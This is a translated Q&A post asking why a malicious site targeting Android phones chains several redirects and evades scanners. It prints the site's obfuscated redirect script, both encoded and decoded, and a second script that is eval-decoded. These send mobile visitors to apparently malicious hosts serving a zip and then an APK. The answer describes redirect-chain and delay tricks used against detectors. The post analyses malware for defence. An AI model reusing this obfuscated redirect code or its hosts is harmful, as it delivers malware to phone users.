【问题标题】:Why does malware virus site use multiple link jumps?为什么恶意软件病毒站点使用多个链接跳转?
【发布时间】:2018-02-23 03:45:21
【问题描述】:

最近我发现了一种新的恶意软件站点:它只攻击安卓手机,在 PC 上看起来很正常。它成功地避开了所有恶意软件检测器。

要了解它的工作原理,请访问网站:www.mfflag.com

在html的开头,有一个脚本:

<script>
<!--
document.write(unescape("%3Cscript%20type%3D%22text/javascript%22%3E%0Avar%20browser%20%3D%20%7B%0Aversions%3A%20function%20%28%29%20%7B%0Avar%20u%20%3D%20navigator.userAgent%2C%20app%20%3D%20navigator.appVersion%3B%0Areturn%20%7B%20//%u79FB%u52A8%u7EC8%u7AEF%u6D4F%u89C8%u5668%u7248%u672C%u4FE1%u606F%20%0Aios%3A%20%21%21u.match%28/%5C%28i%5B%5E%3B%5D+%3B%28%20U%3B%29%3F%20CPU.+Mac%20OS%20X/%29%2C%20//ios%u7EC8%u7AEF%20%0Aandroid%3A%20u.indexOf%28%27Android%27%29%20%3E%20-1%20%7C%7C%20u.indexOf%28%27Linux%27%29%20%3E%20-1%2C%20//android%u7EC8%u7AEF%u6216uc%u6D4F%u89C8%u5668%20%0AiPhone%3A%20u.indexOf%28%27iPhone%27%29%20%3E%20-1%2C%20//%u662F%u5426%u4E3AiPhone%u6216%u8005QQHD%u6D4F%u89C8%u5668%20%0AiPad%3A%20u.indexOf%28%27iPad%27%29%20%3E%20-1%2C%20//%u662F%u5426iPad%20%0A%7D%3B%0A%7D%28%29%2C%0A%7D%0Aif%20%28browser.versions.iPhone%20%7C%7C%20browser.versions.iPad%20%7C%7C%20browser.versions.ios%29%20%7B%0Awindow.location.href%20%3D%20%22http%3A//9ifmz.polishingmedia.cn%3A9000/668899.html%22%3B%0A%7D%0Aif%20%28browser.versions.android%29%20%7B%0Awindow.location.href%20%3D%20%22http%3A//zm87i.gaoxiaopic.cn%3A8301/668899.zip%22%3B%0A%7D%0A%3C/script%3E"));
//-->
</script>

是URL编码的,解码后是这样的:

<script type="text/javascript">
var browser = {
versions: function () {
var u = navigator.userAgent, app = navigator.appVersion;
return { //
ios: !!u.match(/\(i[^;] ;( U;)? CPU. Mac OS X/), //ios
android: u.indexOf('Android') > -1 || u.indexOf('Linux') > -1, //android
iPhone: u.indexOf('iPhone') > -1, //
iPad: u.indexOf('iPad') > -1, //iPad 
};
}(),
}
if (browser.versions.iPhone || browser.versions.iPad || browser.versions.ios) {
window.location.href = "http://9ifmz.polishingmedia.cn:9000/668899.html";
}
if (browser.versions.android) {
window.location.href = "http://zm87i.gaoxiaopic.cn:8301/668899.zip";
}
</script>

所以基本上第一个跳转是下载一个适用于 Android 的 zip,并且该 .zip 链接只能从某些移动浏览器访问。下载解压后也是一个javascript:

<html><head><title>loading</title><script>var d = [119,105,110,100,111,119,46,108,111,99,97,116,105,111,110,32,61,32,39,104,116,116,112,58,47,47,100,115,97,101,119,113,46,110,118,114,101,110,97,105,46,99,99,58,56,51,51,48,47,54,54,56,56,57,57,95,99,51,100,52,54,57,48,50,51,48,56,54,97,49,55,55,56,100,56,55,50,98,101,52,49,97,99,54,52,50,51,57,46,104,116,109,108,39];  var u = '';  for(var i = 0; i < d.length; i++){          u += String.fromCharCode(d[i]);      };      eval(u);      </script></head></html>

这是从 var 解码后的又一次跳转,然后在该位置尝试在手机上安装 .apk 文件,并显示一些色情视频。

apk 是一种病毒,它会读取您的每条消息并发送到攻击者使用的电子邮件。

问题是为什么不直接跳呢?为什么这种攻击会多次跳转到最终站点?

其次,为什么所有恶意软件检测器都无法检测到此类威胁?是不是因为脚本只针对移动设备而检测器不使用那个代理标签?

【问题讨论】:

  • 谷歌安全浏览等顶级主要安全检查网站,未能检测到此类混淆脚本和恶意软件,为什么?

标签: javascript android malware virus malware-detection


【解决方案1】:

问题是为什么不直接跳呢?为什么这种攻击使用 多次跳转到最终站点?

其次,为什么所有恶意软件检测器都无法检测到此类 威胁?是不是因为脚本只针对移动设备和 检测器不使用那个代理标签?

使用多个重定向会使手动分析过程变得无聊,另一方面,恶意软件检测器和恶意活动检测器在大多数情况下不会分析主题,因为多个重定向会使它们的服务器或本地引擎繁忙(它们必须遵循重定向才能到达最终目的地) .

恶意软件作者使用一些休眠函数或庞大的数学计算(因为一些恶意软件检测算法检测简单的休眠或等待函数并抵消这种技巧)重定向之间的随机间隙并使重定向耗时。

恶意软件检测器必须在发生 (n) 次重定向后不扫描多个重定向,因为自我保护算法和机制认为耗时的活动试图使引擎忙碌或通过堆栈溢出等方式停止引擎。当然这个技巧很老,但它仍然有效!

这是一个无限制的游戏,恶意软件作者使用新技巧并每天变得更聪明,另一方面,恶意软件检测器学习这些技巧并改进他们的算法和 AI 引擎并尝试防止攻击。

【讨论】:

    猜你喜欢
    • 2012-04-04
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 2012-05-13
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    相关资源
    最近更新 更多